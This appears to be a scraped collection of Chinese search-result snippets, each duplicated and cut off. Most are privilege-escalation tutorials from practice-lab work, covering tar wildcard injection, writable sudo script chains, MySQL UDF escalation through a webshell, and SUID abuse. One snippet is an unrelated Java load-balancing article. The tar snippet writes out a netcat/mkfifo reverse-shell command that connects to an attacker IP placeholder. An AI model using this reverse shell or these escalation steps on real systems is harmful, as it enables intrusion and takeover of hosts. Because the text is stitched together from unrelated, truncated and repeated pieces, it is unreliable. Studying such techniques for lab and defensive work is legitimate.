以普通用户进入目标机后,若是可以运行tar指令,则可以通过以下的方法进行提权原理:tar有通配符*的漏洞,tar用通配符来压缩文件并读取文件名,若是看到有参数则将执行。 操作:1.先cd到一个用户有完全执行命令的文件夹下例如:www-data用户的完全权限文件夹为/var/www/html 2.创建一个reverseshell脚本echo'rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|ncyou_ip1234>/tmp/f'>shell.shyou_ip为本机IP地址1234为将要监听的端口 3.创建tar将要运行的参数touch"/var/www
以普通用户进入目标机后,若是可以运行tar指令,则可以通过以下的方法进行提权原理:tar有通配符*的漏洞,tar用通配符来压缩文件并读取文件名,若是看到有参数则将执行。 操作:1.先cd到一个用户有完全执行命令的文件夹下例如:www-data用户的完全权限文件夹为/var/www/html 2.创建一个reverseshell脚本echo'rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i2>&1|ncyou_ip1234>/tmp/f'>shell.shyou_ip为本机IP地址1234为将要监听的端口 3.创建tar将要运行的参数touch"/var/www
以普通用户登入后,先sudo-l 看看有什么具有root权限、且普通用户可以写入的脚本例:A.sh 该类脚本普通用户是启动不了的,但可以通过链式脚本启动例:存在脚本B.sh,其内部为:#!/usr/bin/perlsystem("sh","/etc/A.sh");即可以通过/usr/bin/perl来启动B脚本,然后B脚本又会启动A脚本 A、B脚本对于普通用户一般为: A可以写入且具有root权限,但不可执行 B可以免密执行但不可写入 所以最重要的是找到这条链,并修改A脚本,最后执行B脚本 在找到A脚本后就可以通过两种方法来提取: 1.修改脚本来切换shell获取root权限的方法: 原理
以普通用户登入后,先sudo-l 看看有什么具有root权限、且普通用户可以写入的脚本例:A.sh 该类脚本普通用户是启动不了的,但可以通过链式脚本启动例:存在脚本B.sh,其内部为:#!/usr/bin/perlsystem("sh","/etc/A.sh");即可以通过/usr/bin/perl来启动B脚本,然后B脚本又会启动A脚本 A、B脚本对于普通用户一般为: A可以写入且具有root权限,但不可执行 B可以免密执行但不可写入 所以最重要的是找到这条链,并修改A脚本,最后执行B脚本 在找到A脚本后就可以通过两种方法来提取: 1.修改脚本来切换shell获取root权限的方法: 原理
实验环境:windows下已获得低权限的webshell(apache服务不使用phpstudy运行),mysql版本为5.5.29如果版本号>5.1.4上传udf的位置应该放在mysql\lib\plugin(如果不存在目录自己新建一个),如果版本 0x00 提权条件1.必须是root权限(需要创建和抛弃自定义函数)2.secure_file_priv=(必须为空,secure_file_priv为null或者为/tmp/都不行,因为它需要在指定的位置写入udf文件) 0x01数据库密码获取使用菜刀连接webshell,执行whoami为user的普通权限,执行netuser添加用户拒绝访问
实验环境:windows下已获得低权限的webshell(apache服务不使用phpstudy运行),mysql版本为5.5.29如果版本号>5.1.4上传udf的位置应该放在mysql\lib\plugin(如果不存在目录自己新建一个),如果版本 0x00 提权条件1.必须是root权限(需要创建和抛弃自定义函数)2.secure_file_priv=(必须为空,secure_file_priv为null或者为/tmp/都不行,因为它需要在指定的位置写入udf文件) 0x01数据库密码获取使用菜刀连接webshell,执行whoami为user的普通权限,执行netuser添加用户拒绝访问
前言最近打靶场的时候最后都会涉及到提权,所以想着总结一下。SUID提权原理SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。比如password的权限:用户可以输入自己的密码或者不需要密码在root权限下执行命令,这
前言最近打靶场的时候最后都会涉及到提权,所以想着总结一下。SUID提权原理SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。比如password的权限:用户可以输入自己的密码或者不需要密码在root权限下执行命令,这
上一篇讲了普通轮询、加权轮询的两种实现方式,重点讲了平滑加权轮询算法,并在文末留下了悬念:节点出现分配失败时降低有效权重值;成功时提高有效权重值(但不能大于weight值)。本文在平滑加权轮询算法的基础上讲,还没弄懂的可以看上一篇文章。现在来模拟实现:平滑加权轮询算法的降权和提权1.两个关键点节点宕机时,降低有效权重值;节点正常时,提高有效权重值(但不能大于weight值);注意:降低或提高权重都是针对有效权重。2.代码实现2.1.服务节点类packagecom.yty.loadbalancingalgorithm.wrr;/***Stringip:负载IP*finalIntegerweigh
上一篇讲了普通轮询、加权轮询的两种实现方式,重点讲了平滑加权轮询算法,并在文末留下了悬念:节点出现分配失败时降低有效权重值;成功时提高有效权重值(但不能大于weight值)。本文在平滑加权轮询算法的基础上讲,还没弄懂的可以看上一篇文章。现在来模拟实现:平滑加权轮询算法的降权和提权1.两个关键点节点宕机时,降低有效权重值;节点正常时,提高有效权重值(但不能大于weight值);注意:降低或提高权重都是针对有效权重。2.代码实现2.1.服务节点类packagecom.yty.loadbalancingalgorithm.wrr;/***Stringip:负载IP*finalIntegerweigh